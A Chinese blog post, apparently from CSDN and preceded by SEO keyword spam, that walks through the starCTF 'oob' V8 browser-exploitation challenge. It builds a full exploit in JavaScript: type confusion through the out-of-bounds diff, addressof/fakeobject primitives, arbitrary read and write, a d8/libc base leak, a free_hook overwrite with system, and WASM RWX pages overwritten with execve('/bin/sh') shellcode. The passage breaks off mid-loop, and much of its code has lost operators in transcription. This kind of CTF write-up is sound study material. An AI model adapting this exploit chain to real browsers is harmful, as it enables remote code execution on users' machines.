江苏微信网站建设,嵌入式开发工程师需要学什么,ps企业网站模板免费下载,全国建筑行业资质平台查询仍然是因为某些原因#xff0c;需要学学浏览器pwn
环境
depot_tools建议直接去gitlab里下#xff0c;github上这个我用魔法都没下下来
下完之后执行
echo export PATH$PATH:/root/depot_tools ~/.bashrc路径换成自己的就ok了
然后是ninja
git clo…仍然是因为某些原因需要学学浏览器pwn
环境
depot_tools建议直接去gitlab里下github上这个我用魔法都没下下来
下完之后执行
echo export PATH$PATH:/root/depot_tools ~/.bashrc路径换成自己的就ok了
然后是ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja ./configure.py --bootstrap cd ..
echo export PATH$PATH:/root/ninja ~/.bashr没什么好说的路径记得换成自己的
然后执行
fetch v8
cd v8拉个v8源码下来gclient sync似乎自动执行了我亲测是这样的反正
然后你可以选择先编译个最新版的v8出来试试编译这玩意是有点子慢的
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release也可以选择直接编译题目的版本一般题目会给commitid比如我一会要学的第一道题starctf 的 oob题目commitid是6dc88c191f5ecc5389dc26efa3ca0907faef3598那就先这样再这样再这样。
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8环境差不多就先这些后面遇到了再补充
starctf oob
这个题我真的是服了切到对应版本以后里面的代码居然有的是python2语法有的是python3语法换了半天也没编译出来还好手里有编译好的release版本属实无语住了。
然后咱们看diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.ccb/src/bootstrapper.cc-1668,6 1668,8 void Genesis::InitializeGlobal(HandleJSGlobalObject global_object,Builtins::kArrayPrototypeCopyWithin, 2, false);SimpleInstallFunction(isolate_, proto, fill,Builtins::kArrayPrototypeFill, 1, false);SimpleInstallFunction(isolate_, proto, oob,Builtins::kArrayOob,2,false);SimpleInstallFunction(isolate_, proto, find,Builtins::kArrayPrototypeFind, 1, false);SimpleInstallFunction(isolate_, proto, findIndex,
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.ccb/src/builtins/builtins-array.cc-361,6 361,27 V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,return *final_length;}} // namespace
BUILTIN(ArrayOob){uint32_t len args.length();if(len 2) return ReadOnlyRoots(isolate).undefined_value();HandleJSReceiver receiver;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));HandleJSArray array HandleJSArray::cast(receiver);FixedDoubleArray elements FixedDoubleArray::cast(array-elements());uint32_t length static_castuint32_t(array-length()-Number());if(len 1){//readreturn *(isolate-factory()-NewNumber(elements.get_scalar(length)));}else{//writeHandleObject value;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.atObject(1)));elements.set(length,value-Number());return ReadOnlyRoots(isolate).undefined_value();}
}BUILTIN(ArrayPush) {HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.hb/src/builtins/builtins-definitions.h-368,6 368,7 namespace internal {TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \CPP(ArrayOob) \\/* ArrayBuffer */ \/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.ccb/src/compiler/typer.cc-1680,6 1680,8 Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {return Type::Receiver();case Builtins::kArrayUnshift:return t-cache_-kPositiveSafeInteger;case Builtins::kArrayOob:return Type::Receiver();// ArrayBuffer functions.case Builtins::kArrayBufferIsView:
csdn的markdown不支持diff语法真丑啊。 SimpleInstallFunction(isolate_, proto, oob,Builtins::kArrayOob,2,false);这两行告诉我们作者给array添加了一个函数叫oob
下面是oob的具体实现
BUILTIN(ArrayOob){uint32_t len args.length();if(len 2) return ReadOnlyRoots(isolate).undefined_value();HandleJSReceiver receiver;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));HandleJSArray array HandleJSArray::cast(receiver);FixedDoubleArray elements FixedDoubleArray::cast(array-elements());uint32_t length static_castuint32_t(array-length()-Number());if(len 1){//readreturn *(isolate-factory()-NewNumber(elements.get_scalar(length)));}else{//writeHandleObject value;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.atObject(1)));elements.set(length,value-Number());return ReadOnlyRoots(isolate).undefined_value();}
}获取参数的数量然后根据参数个数进行不同的操作 如果参数数量大于2则直接抛出undefined 如果参数数量小于等于2则先把array转成doublearray 然后判断如果无额外参数第一个是this则是read功能返回array[length] 如果传入了一个参数则是write功能将value写入到doublearray[length]中
diff文件到这里就解释完了
接下来熟悉熟悉v8对象的内存布局
var a [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c [a, b]
%DebugPrint(c);
%SystemBreak();边写边记录%DebugPrint可以打印对象的详细内存信息%SystemBreak()可以下断点用gdb调一下这段代码
gdb ./d8
set args --allow-natives-syntax ./test.js调试的时候记得加上–allow-natives-syntax这样才能用上面说的那两个调试函数。
这样就断下来了
由于这个题我没有debug版的d8可以用所以debug_print的结果看不到了也不能说看不到不过信息非常少 十分穷酸只给我把a这个大小为4的JSArray的地址打印出来了
但是我依然可以使用一些命令来查看
pwndbg job 0x2bb952fcde81
0x2bb952fcde81: [JSArray]- map: 0x025e82cc2ed9 Map(PACKED_DOUBLE_ELEMENTS) [FastProperties]- prototype: 0x1e15429d1111 JSArray[0]- elements: 0x2bb952fcde51 FixedDoubleArray[4] [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x291530640c71 FixedArray[0] {#length: 0x145325ac01a9 AccessorInfo (const accessor descriptor)}- elements: 0x2bb952fcde51 FixedDoubleArray[4] {0: 1.11: 2.22: 3.33: 4}比如使用job命令查看对象可以看到有几个数据类型map,prototype,elements等 这里解释一下为什么这么多以1结尾的地址因为v8会用把指针用最低比特置1的方式进行标记。 这些属性的含义如下
map定义了如何访问对象
prototype对象的原型如果有
elements对象的地址
length长度
properties属性存有map和length从数据中也能看出来当我们声明了一个对象的时候真正的数据是存放在elements所指向的地址中的。还要注意一件事情那就是elements的地址和对象本身的地址的关系
对象本身的地址为0x2bb952fcde81
其对应的elements的地址为0x2bb952fcde51
elements的结构为
pwndbg job 0x2bb952fcde51
0x2bb952fcde51: [FixedDoubleArray]- map: 0x2915306414f9 Map- length: 40: 1.11: 2.22: 3.33: 4由一个map地址和具体的数据组成所以说当我们申请一个对象的时候v8先申请了一个elements用于存放数据然后紧接着又申请了一块内存用于存放对象本身的结构信息。
elements先说到这里接下来说一说map的结构以数组本身的map为例
pwndbg job 0x025e82cc2ed9
0x25e82cc2ed9: [Map]- type: JS_ARRAY_TYPE- instance size: 32- inobject properties: 0- elements kind: PACKED_DOUBLE_ELEMENTS- unused property fields: 0- enum length: invalid- back pointer: 0x025e82cc2e89 Map(HOLEY_SMI_ELEMENTS)- prototype_validity cell: 0x145325ac0609 Cell value 1- instance descriptors #1: 0x1e15429d1f49 DescriptorArray[1]- layout descriptor: (nil)- transitions #1: 0x1e15429d1eb9 TransitionArray[4]Transition array #1:0x291530644ba1 Symbol: (elements_transition_symbol): (transition to HOLEY_DOUBLE_ELEMENTS) - 0x025e82cc2f29 Map(HOLEY_DOUBLE_ELEMENTS)- prototype: 0x1e15429d1111 JSArray[0]- constructor: 0x1e15429d0ec1 JSFunction Array (sfi 0x145325ac6791)- dependent code: 0x2915306402c1 Other heap object (WEAK_FIXED_ARRAY_TYPE)- construction counter: 0一个map里包含了一系列信息如 对象的动态类型即StringUint8ArrayHeapNumber等。 对象的大小以字节为单位 对象的属性及其存储位置 数组元素的类型例如unboxed的双精度数或带标记的指针 对象的原型如果有
map决定了如何访问一个对象也标识了一个对象的类型。
再来看看properties的结构
pwndbg job 0x291530640c71
0x291530640c71: [FixedArray]- map: 0x291530640801 Map- length: 0它的结构就相对来说简单很多里面只有一个map和一个length后面有用到再细说先混个脸熟。
大致熟悉了一下v8里的一些比较重要的数据类型以及对象的结构接下来回想一下diff既然是作者自己给array添加的函数那必然意味着存在漏洞write的功能是把一个用户自定义的value写入到doublearray[length]的位置但是众所周知数组下标是0~length-1所以这里其实相当于发生了一个越界写同样的read那里也存在着一个越界读。
刚才我们提到当申请一个array的时候程序是先申请elements然后再申请对象结构而对象结构是以一个map开头的当我们修改数据的时候实际上是在修改elements如果我们越界修改了elements刚好就会覆盖掉这个对象本身的map地址所以相当于我们有了读取所申请对象的map地址以及任意修改此map地址的权限。这就是本题的漏洞所在。
写个代码测试一下是否真的能修改map的值 先来点辅助函数尝尝因为无论是越界读还是越界写都是浮点数形式所以需要辅助函数来帮助我们在整数和浮点数之间转换方法就是开一块空间让整数和浮点数共用然后转一下就行。
var buf new ArrayBuffer(16);
var float64 new Float64Array(buf);
var bigUint64 new BigUint64Array(buf);
//
function f2i(f)
{float64[0] f;return bigUint64[0];
}
//
function i2f(i)
{bigUint64[0] i;return float64[0];
}
//
function hex(i)
{return i.toString(16).padStart(16, 0);
} var a[1,2,3,4]
var map_addrf2i(a.oob())
console.log([*] oob return data: hex(map_addr));
a.oob(i2f(0x6161616161616161n));
%DebugPrint(a);
%SystemBreak();然后就翻车了如图所示
可以看到之前我们用浮点数组尝试的时候elements下面紧挨着的就是对象结构也正是这点能够让我们越界一个下标读写就能读写到本对象的map信息但是这里情况有变假定v8对于对象的内存分配方式不变那么elements是不是有点太大了如果是这种情况那么我们越界一个下标读写就读写不到本对象的map了。参考的几篇文章似乎也没有在这里提到这个问题可能因为他们没有像我一样傻到用全是整数的数组进行测试吧。
经过查询发现原来都是整数的数组和包含了浮点数的数组是两种类型的数据从map信息就能够看出来
const array [1, 2, 3];
// elements 类型: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements 类型: PACKED_DOUBLE_ELEMENTS
array.push(x);
// elements 类型: PACKED_ELEMENTSv8都有哪些数组类型可以看这个图
注意这里的速度由上至下是越来越慢的并且降级是不可逆的
不管怎么样这个整数array的大小总归是不太对劲的于是用tele查看一下内存 发现了奇怪的东西前面几个数据都是很熟悉的elements的map,length以及data为什么data后面又接了个FixedArray类型的map难道下面其实另有一块结构job一下看看
pwndbg job 0xda69c08dee9
0xda69c08dee9: [FixedArray]- map: 0x390f81b80851 Map- length: 40: 0x2584ea1c3b29 SharedFunctionInfo1: 0x0da69c08d029 String[474]\: var buf new ArrayBuffer(16);\nvar float64 new Float64Array(buf);\nvar bigUint64 new BigUint64Array(buf);\n//\nfunction f2i(f)\n{\n float64[0] f;\n return bigUint64[0];\n}\n// \nfunction i2f(i)\n{\n bigUint64[0] i;\n return float64[0];\n}\n//\nfunction hex(i)\n{\n return i.toString(16).padStart(16, 0);\n}\n\nvar a[1,2,3,4]\nvar map_addrf2i(a.oob())\nconsole.log([*] oob return data: hex(map_addr));\n//a.oob(i2f(0x6161616161616161n));\n%DebugPrint(a);\n%SystemBreak();2: 03: -1看完一整个呆住这怎么还有我js程序的源码啊好好好
总之申请一个PACKED_SMI_ELEMENTS的时候这结构肯定是多东西了至于为什么会多就不是我一个初学者要去探究的了等多了解了解v8内存申请规则可能就明白了吧。
回到这道题目想要完成上述操作大家还请记得申请带浮点数的数组hhhh
var a[1.1,2,3,4]
var map_addrf2i(a.oob())
console.log([*] oob return data: hex(map_addr));
%DebugPrint(a);
%SystemBreak();代码换成这样再来试试能不能读取到map
pwndbg job 0x03cc43b0e0b1
0x3cc43b0e0b1: [JSArray]- map: 0x247041f42ed9 Map(PACKED_DOUBLE_ELEMENTS) [FastProperties]- prototype: 0x2e4730811111 JSArray[0]- elements: 0x03cc43b0e081 FixedDoubleArray[4] [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x15bfe08c0c71 FixedArray[0] {#length: 0x29e3aa0001a9 AccessorInfo (const accessor descriptor)}- elements: 0x03cc43b0e081 FixedDoubleArray[4] {0: 1.11: 22: 33: 4}这次就比较成功的读取到map了
再来试试对象数组
var a[1.1,2,3,4]
var b{x:1}
var c[a,b]
var map_addrf2i(a.oob())
console.log([*] oob return data: hex(map_addr));
%DebugPrint(c);
%SystemBreak();可以看到对象数组的结构也是elements和map紧邻着的
pwndbg job 0x217d8930e9b1
0x217d8930e9b1: [JSArray]- map: 0x230184202f79 Map(PACKED_ELEMENTS) [FastProperties]- prototype: 0x0003238d1111 JSArray[0]- elements: 0x217d8930e991 FixedArray[2] [PACKED_ELEMENTS]- length: 2- properties: 0x1aa8b4cc0c71 FixedArray[0] {#length: 0x347bb83401a9 AccessorInfo (const accessor descriptor)}- elements: 0x217d8930e991 FixedArray[2] {0: 0x217d8930e921 JSArray[4]1: 0x217d8930e941 Object map 0x23018420ab39}既然能够修改map而v8在解析对象的时候又依赖于map那么我们来尝试进行一下类型混淆。
之前想将map修改为0x6161616161616161但是走到下一个断点之前就会段错误所以还是老老实实的合理进行类型混淆吧
浮点数组存储的是具体的浮点数值对象数组存储的是每一个对象的地址在使用的时候我们是无法获取到对象数组里的对象地址用作计算的但是通过类型混淆可以做到。如果定义了一个对象数组然后把数组的map改成浮点数组的map此时对于任何一个放入对象数组的对象都可以直接通过索引获取到具体的地址值。
顺理成章的我们也就写出了addressof函数实现了获取任意对象的内存地址功能
var float_array[1.1,2.2]
var int_array [1,2]
var obj_array[float_array,int_array]
var float_mapfloat_array.oob()//float
var obj_mapobj_array.oob()//floatfunction addressof(obj)
{obj_array[0]obj;obj_array.oob(float_map);//set obj_array mapvar addresshex(f2i(obj_array[0])-1n);obj_array.oob(obj_map);//recovery obj_array mapreturn address;
}
var a[1,2,3,4]
console.log(addressof(a));
%DebugPrint(a);
%SystemBreak();首先搞个float array和obj array出来分别获取他俩的map然后对于某个我们想获取地址的对象只需要先放进obj array里然后修改obj array的map为float map直接读取obj array就可以把地址当做一个浮点数直接leak出来了可以看到我们通过类型混淆自己泄露出来的地址和debugprint出来的地址是一样的。 有了任意对象的地址泄露接下来就想想是否可以伪造一个object和地址泄露逻辑相反如果我们写好一个浮点数组保证里面elements是一个完整的对象结构通过addressof函数获取浮点数组的地址再利用elements和对象结构偏移可计算的特点获取到elements的地址填到之前申请的全局变量float array中然后修改float array的map为obj map再通过索引将其取出此时就把原来的数据完全可控的elements伪造成了一个object。
按照上述思路写出fakeobject函数
function fakeobject(obj_address)
{float_array[0]i2f(obj_address1n);float_array.oob(obj_map);var fakeobjfloat_array[0];float_array.oob(float_map);return fakeobj;
}伪造对象的能力回归到漏洞利用上来肯定还是要关注任意地址读写这件事我们知道一个数组的读写当其他字段都没有被破坏的情况下其实就是在操作elements里的元素所以我们只需要在伪造对象的时候将elements指针指向想要进行读写的address理论上来讲就可以实现任意地址的读写。
理论可行实践一下首先观察结构
pwndbg job 0x14f08f6cec31
0x14f08f6cec31: [JSArray]- map: 0x38e442282ed9 Map(PACKED_DOUBLE_ELEMENTS) [FastProperties]- prototype: 0x27efc09d1111 JSArray[0]- elements: 0x14f08f6cec01 FixedDoubleArray[4] [PACKED_DOUBLE_ELEMENTS]- length: 4- properties: 0x03d4acf00c71 FixedArray[0] {#length: 0x05720a8401a9 AccessorInfo (const accessor descriptor)}- elements: 0x14f08f6cec01 FixedDoubleArray[4] {0: 1.11: 22: 33: 4}
pwndbg job 0x14f08f6cec01
0x14f08f6cec01: [FixedDoubleArray]- map: 0x03d4acf014f9 Map- length: 40: 1.11: 22: 33: 4
pwndbg obj的地址距离elements的头部是8数据个数0x10,elements存储的结构是map,length,data所以实际数据的位置应该是obj地址-8n
先按照格式在float array中伪造一个float obj出来
var fake_array [float_array_map,i2f(0n),//无原型i2f(0x41414141n),//fake objs elements ptri2f(0x1000000000n),//fake obj length1.1,2.2
];上面我们伪造的是一个无原型的float array 然后获取fake obj,构造read64函数并进行验证
var fake_obj_addressaddressof(fake_array)-6n*8n;
var fake_objfakeobject(fake_obj_address);
function read64(address)
{fake_array[2]i2f(address-0x10n1n);dataf2i(fake_obj[0]);return data;
}var target[1,2,3,4];
var target_addraddressof(target);
var leak_dataread64(target_addr);
console.log([*] leak from: 0x hex(target_addr) : 0x hex(leak_data));
%DebugPrint(target);
%SystemBreak();通过构建好的read64函数尝试获取target的map值 pwndbg job 0x0a97e720f019
0xa97e720f019: [JSArray]- map: 0x2641d8d02d99 Map(PACKED_SMI_ELEMENTS) [FastProperties]- prototype: 0x158588d11111 JSArray[0]- elements: 0x0a97e720e399 FixedArray[4] [PACKED_SMI_ELEMENTS (COW)]- length: 4- properties: 0x3d2acc240c71 FixedArray[0] {#length: 0x382150f401a9 AccessorInfo (const accessor descriptor)}- elements: 0x0a97e720e399 FixedArray[4] {0: 11: 22: 33: 4}非常完美的获取到了target对象的map值至此获得了任意地址读功能接下来的任意地址写功能思路相同直接构建就好
function write64(address,value)
{fake_array[2]i2f(address-0x10n1n);fake_obj[0]i2f(value);
}但是这种方式进行任意地址写会存在一些问题在写0x7fxxxxx这样的高地址的时候会出现问题地址的低位会被修改导致出现访问异常。因为write64写原语使用的是FloatArray的写入操作而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0
解决DataView对象中的backing_store会指向申请的data_buf(backing_store相当于我们的elements)修改backing_store为我们想要写的地址并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。
var data_buf new ArrayBuffer(8);
var data_view new DataView(data_buf);
var buf_backing_store_addr addressOf(data_buf) 0x20n;
function writeDataview(addr,data){write64(buf_backing_store_addr, addr);data_view.setBigUint64(0, data, true);console.log([*] write to : 0x hex(addr) : 0x hex(data));
}一种改进任意地址写的方法是不涉及漏洞思路但是值得收藏的工具类代码
有了任意地址读写接下来就要考虑最终目标get shell了
get shell的方式有两种既可以控制free_hook为system执行system(“/bin/sh”)也可以直接用wasm执行shellcode
首先是控制free_hook的方式
首先肯定是泄露libc的地址先来看看栈空间里都有些什么
在我们申请的临时变量上方是有代码段地址的把这种0x55或者0x56开头的地址泄露出来然后减去偏移就可以计算出代码基地址从而得到got表地址最后达到泄露libc的目的。
while(1)
{var dataread64(target_addr);if(((data0x0000ff0000000fffn)0x0000550000000830n)||((data0x0000ff0000000fffn)0x0000560000000830n)){codebasedata;break;}target_addr-8n;
}利用类似这种方式从当前变量栈地址开始向上搜索。
但是这种泄露libc的方式不是很稳定如果栈上方真的就没有什么稳定的d8代码段地址我们就需要另一种能够稳定获得d8地址就方法再回到数组的结构中
pwndbg job 0x0d58eb00f389
0xd58eb00f389: [JSArray]- map: 0x09d569182d99 Map(PACKED_SMI_ELEMENTS) [FastProperties]- prototype: 0x037cdced1111 JSArray[0]- elements: 0x0d58eb00e5e9 FixedArray[4] [PACKED_SMI_ELEMENTS (COW)]- length: 4- properties: 0x18b956200c71 FixedArray[0] {#length: 0x2a2ccf5c01a9 AccessorInfo (const accessor descriptor)}- elements: 0x0d58eb00e5e9 FixedArray[4] {0: 11: 22: 33: 4}
pwndbg job 0x09d569182d99
0x9d569182d99: [Map]- type: JS_ARRAY_TYPE- instance size: 32- inobject properties: 0- elements kind: PACKED_SMI_ELEMENTS- unused property fields: 0- enum length: invalid- back pointer: 0x18b9562004d1 undefined- prototype_validity cell: 0x2a2ccf5c0609 Cell value 1- instance descriptors (own) #1: 0x037cdced1f49 DescriptorArray[1]- layout descriptor: (nil)- transitions #1: 0x037cdced1e59 TransitionArray[4]Transition array #1:0x18b956204ba1 Symbol: (elements_transition_symbol): (transition to HOLEY_SMI_ELEMENTS) - 0x09d569182e89 Map(HOLEY_SMI_ELEMENTS)- prototype: 0x037cdced1111 JSArray[0]- constructor: 0x037cdced0ec1 JSFunction Array (sfi 0x2a2ccf5c6791)- dependent code: 0x18b9562002c1 Other heap object (WEAK_FIXED_ARRAY_TYPE)- construction counter: 0
pwndbg job 0x037cdced0ec1
0x37cdced0ec1: [Function] in OldSpace- map: 0x09d569182d49 Map(HOLEY_ELEMENTS) [FastProperties]- prototype: 0x037cdcec2109 JSFunction (sfi 0x2a2ccf5c3b29)- elements: 0x18b956200c71 FixedArray[0] [HOLEY_ELEMENTS]- function prototype: 0x037cdced1111 JSArray[0]- initial_map: 0x09d569182d99 Map(PACKED_SMI_ELEMENTS)- shared_info: 0x2a2ccf5c6791 SharedFunctionInfo Array- name: 0x18b956203599 String[#5]: Array- builtin: ArrayConstructor- formal_parameter_count: 65535- kind: NormalFunction- context: 0x037cdcec1869 NativeContext[246]- code: 0x3bc592106981 Code BUILTIN ArrayConstructor- properties: 0x037cdced1029 PropertyArray[6] {#length: 0x2a2ccf5c04b9 AccessorInfo (const accessor descriptor)#name: 0x2a2ccf5c0449 AccessorInfo (const accessor descriptor)#prototype: 0x2a2ccf5c0529 AccessorInfo (const accessor descriptor)0x18b956204c79 Symbol: (native_context_index_symbol): 11 (const data field 0) properties[0]0x18b956204f41 Symbol: Symbol.species: 0x037cdced0fd9 AccessorPair (const accessor descriptor)#isArray: 0x037cdced1069 JSFunction isArray (sfi 0x2a2ccf5c6829) (const data field 1) properties[1]#from: 0x037cdced10a1 JSFunction from (sfi 0x2a2ccf5c6879) (const data field 2) properties[2]#of: 0x037cdced10d9 JSFunction of (sfi 0x2a2ccf5c68b1) (const data field 3) properties[3]}- feedback vector: not availablepwndbg job 0x3bc592106981
0x3bc592106981: [Code]- map: 0x18b956200a31 Map
kind BUILTIN
name ArrayConstructor
compiler turbofan
address 0x7ffcffda4a78Trampoline (size 13)
0x3bc5921069c0 0 49baa02aad1604560000 REX.W movq r10,0x560416ad2aa0 (ArrayConstructor)
0x3bc5921069ca a 41ffe2 jmp r10Instructions (size 28)
0x560416ad2aa0 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x560416ad2aa4 4 7405 jz 0x560416ad2aab (ArrayConstructor)
0x560416ad2aa6 6 488bca REX.W movq rcx,rdx
0x560416ad2aa9 9 eb03 jmp 0x560416ad2aae (ArrayConstructor)
0x560416ad2aab b 488bcf REX.W movq rcx,rdi
0x560416ad2aae e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x560416ad2ab2 12 488bd1 REX.W movq rdx,rcx
0x560416ad2ab5 15 e926000000 jmp 0x560416ad2ae0 (ArrayConstructorImpl)
0x560416ad2aba 1a 90 nop
0x560416ad2abb 1b 90 nopSafepoints (size 8)RelocInfo (size 2)
0x3bc5921069c2 off heap target在gdb中查看这样一条链子array-map-constructor-code 可以看到在code中存在一些代码这里可能还不太直观直接用tele查看内存看看
pwndbg tele 0x3bc592106980 50
00:0000│ 0x3bc592106980 —▸ 0x18b956200a31 ◂— 0x18b9562001
01:0008│ 0x3bc592106988 —▸ 0x18b956202c01 ◂— 0x18b9562007
02:0010│ 0x3bc592106990 —▸ 0x18b956200c71 ◂— 0x18b9562008
03:0018│ 0x3bc592106998 —▸ 0x18b956202791 ◂— 0x18b9562007
04:0020│ 0x3bc5921069a0 —▸ 0x2a2ccf5d16a9 ◂— 0xd1000018b9562014
05:0028│ 0x3bc5921069a8 ◂— or eax, 0xc6000000 /* \r */
06:0030│ 0x3bc5921069b0 ◂— sbb al, 0
07:0038│ 0x3bc5921069b8 ◂— and al, 0 /* $ */
08:0040│ 0x3bc5921069c0 ◂— movabs r10, 0x560416ad2aa0
09:0048│ 0x3bc5921069c8 ◂— add byte ptr [rax], al
0a:0050│ 0x3bc5921069d0 ◂— add byte ptr [rax], al
0b:0058│ 0x3bc5921069d8 ◂— add byte ptr [rax], al
0c:0060│ 0x3bc5921069e0 —▸ 0x18b956200a31 ◂— 0x18b9562001
0d:0068│ 0x3bc5921069e8 —▸ 0x18b956202c01 ◂— 0x18b9562007
0e:0070│ 0x3bc5921069f0 —▸ 0x18b956200c71 ◂— 0x18b9562008
0f:0078│ 0x3bc5921069f8 —▸ 0x18b956202791 ◂— 0x18b9562007
10:0080│ 0x3bc592106a00 —▸ 0x2a2ccf5d16c1 ◂— 0xd1000018b9562014
11:0088│ 0x3bc592106a08 ◂— or eax, 0xc6000000 /* \r */
12:0090│ 0x3bc592106a10 ◂— mov byte ptr [rcx], al
13:0098│ 0x3bc592106a18 ◂— lahf
14:00a0│ 0x3bc592106a20 ◂— movabs r10, 0x560416ad2ae0对于这样的汇编代码movabs r10, 0x560416ad2aa0 这个立即数看起来是不是非常像代码段的地址没错它就是也就是说通过一次次固定偏移的读操作就可以稳定获取到一个代码段的地址来试试看 function leak_d8base(obj_addr)
{var map_rread64(obj_addr)-1n;console.log([*] leak map_r: 0xhex(map_r));var constructor_rread64(map_r0x20n)-1n;console.log([*] leak constructor_r: 0xhex(constructor_r));var coderead64(constructor_r0x30n)-1n;console.log([*] leak code: 0xhex(code));var d8baseread64(code0x42n);console.log([*] leak d8base: 0xhex(d8base));return d8base-0xfafaa0n;
}
var target[1,2,3,4];
var target_addraddressof(target);
var d8baseleak_d8base(target_addr);
console.log([*] leak d8base: 0xhex(d8base));可以看到已经成功泄露出d8base了并且非常稳定接下来的事情就非常好做了只需要修改free_hook为system然后new一个字符串/bin/sh\x00在字符串销毁的时候就会触发free。
function leak_d8base(obj_addr)
{var map_rread64(obj_addr)-1n;var constructor_rread64(map_r0x20n)-1n;var coderead64(constructor_r0x30n)-1n;var d8baseread64(code0x42n);return d8base-0xfafaa0n;
}
function get_shell(){var shell_str new String(/bin/sh\0);
}
var target[1,2,3,4];
var target_addraddressof(target);
var d8baseleak_d8base(target_addr);
console.log([*] leak d8base: 0xhex(d8base));
var free_gotd8base0x12955e8n;
var libcbaseread64(free_got)-0xa53e0n;
var systemlibcbase0x50d70n;
console.log([*] leak libcbase: 0xhex(libcbase));
console.log([*] leak system: 0xhex(system));
var free_hooklibcbase0x2204a8n;
console.log([*] leak free_hook: 0xhex(free_hook));
writeDataview(free_hook,system);
//%DebugPrint(target);
%SystemBreak();
get_shell();不过现在我的虚拟机用的是ubuntu22所以 其实free_hook控制程序执行流的方法已经走不通了为了验证我们是否成功修改了free_hook只能是用gdb看一看了getshell在我现在这个版本的libc上已经不行了。
接下来是第二种getshell的方法即直接执行shellcode
运行shellcode的方式是wasm
wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。
步骤
1、 首先写一段wasm代码到内存中
2、 然后通过addressOf找到存放的wasm的内存地址
3、 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
4、 最后调用wasm 的函数接口即可触发调用shellcode
通过Function - shared_info - WasmExportedFunctionData - instance在instance0x88的固定偏移处就能读取到存储wasm代码的内存页地址起始地址
起始地址的读取和上面我们稳定获取d8base的方式基本相同通过链子不断深入这里直接封装成函数
function leak_rwxpage(fun_addr)
{var shared_info_addr read64(fun_addr 0x18n) - 0x1n;var wasm_exported_func_data_addr read64(shared_info_addr 0x8n) - 0x1n;var wasm_instance_addr read64(wasm_exported_func_data_addr 0x10n) - 0x1n;var rwx_page_addr read64(wasm_instance_addr 0x88n);return rwx_page_addr;
}
function get_wasm_fun()
{var wasmCode new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule new WebAssembly.Module(wasmCode);var wasmInstance new WebAssembly.Instance(wasmModule, {});return wasmInstance.exports.main;
}
var f get_wasm_fun();
var f_addr addressof(f);
console.log([*] leak wasm_func_addr: 0x hex(f_addr));
var rwx_pageleak_rwxpage(f_addr);
console.log([*] leak rwx_page: 0x hex(rwx_page));获取到了rwx的地址然后用之前的任意地址写直接将getshell的shellcode写进去最后执行wasm函数就ok了
function leak_rwxpage(fun_addr)
{var shared_info_addr read64(fun_addr 0x18n) - 0x1n;var wasm_exported_func_data_addr read64(shared_info_addr 0x8n) - 0x1n;var wasm_instance_addr read64(wasm_exported_func_data_addr 0x10n) - 0x1n;var rwx_page_addr read64(wasm_instance_addr 0x88n);return rwx_page_addr;
}
function get_wasm_fun()
{var wasmCode new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule new WebAssembly.Module(wasmCode);var wasmInstance new WebAssembly.Instance(wasmModule, {});return wasmInstance.exports.main;
}
var f get_wasm_fun();
var f_addr addressof(f);
console.log([*] leak wasm_func_addr: 0x hex(f_addr));
var rwx_pageleak_rwxpage(f_addr);
console.log([*] leak rwx_page: 0x hex(rwx_page));
//get_shell();
//shellcode[7955998173821429866n, 16683945804937768751n, 2608851925472997992n, 7662582506348151041n, 9892252127383281160n, 364607107058774502n];
var shellcode [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];
for(let i0n;i3n;i)
